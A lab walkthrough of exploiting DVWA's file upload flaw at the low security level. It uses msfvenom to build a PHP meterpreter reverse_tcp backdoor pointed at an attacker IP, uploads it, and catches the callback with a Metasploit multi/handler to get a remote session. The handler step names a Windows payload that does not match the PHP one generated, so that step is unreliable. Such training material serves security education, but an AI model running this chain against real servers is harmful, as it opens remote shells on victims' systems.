File upload vulnerability Exploitation in DVWA

Damn Vulnerable Web Application (DVWA) is a PHP/MySQL web application that is damn vulnerable. Its main goal is to be an aid for security professionals to test their skills and tools in a legal environment, help web developers better understand the processes of securing web applications and to aid both students & teachers to learn about web application security in a controlled class room environment.

The aim of DVWA is to practice some of the most common web vulnerabilities, with various levels of difficulty, with a simple straightforward interface. Please note, there are both documented and undocumented vulnerabilities with this software. This is intentional. You are encouraged to try and discover as many issues as possible.

Step 1. Give permission to /var/www/html/DVWA/hackable/uploads/

Step 2. Lets understand file upload vulnerability. In fact, one of the major risks faced by web applications is the potential to get a malware or a malicious code.

The ultimate goal of an attacker is to get some code in a website they desire to attack. They aim at executing a malicious code inside the website.

Step 3. Open the kali linux terminal and type ifconfig.

Step 4. Click on DVWA Security and set Website Security Level low

Open terminal in kali linux and create php backdoor through following command

msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.136.129 lport=4444 -f raw

Copy and paste the highlighted code in leafpad

Step 5. And save as with PHP extension as file.php on the desktop.

Step 6. click to file upload option from vulnerability menu.

Now click on browse tag to browse file.php file to upload it on web server and click on upload which will upload your file on web server.

Step 7. This is msfconsole. Msfconsole is the main interface to MetaSploit. There are GUI interfaces (armitage), and a web interface too (websploit). With msfconsole, you can launch exploits, create listeners, configure payloads etc.

Metasploit Tutorials From Basic to Advance

Step 8. Now use multi hanlder exploit and reverse tcp payload and we need to set the LHOST and LPORT.

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set lhost 192.168.136.129

set lport 4444

exploit

Step 9. After uploading the PHP file it will show the path of directory where your file is successfully uploaded now copy the selected part and paste it in URL to execute it.

hackable/uploads/file.php

Step 10. After that you have got a meterpreter session 1 of victim PC on the metasploit.

Step 11. Type sysinfo to check the target system information.

I hope you enjoyed this article.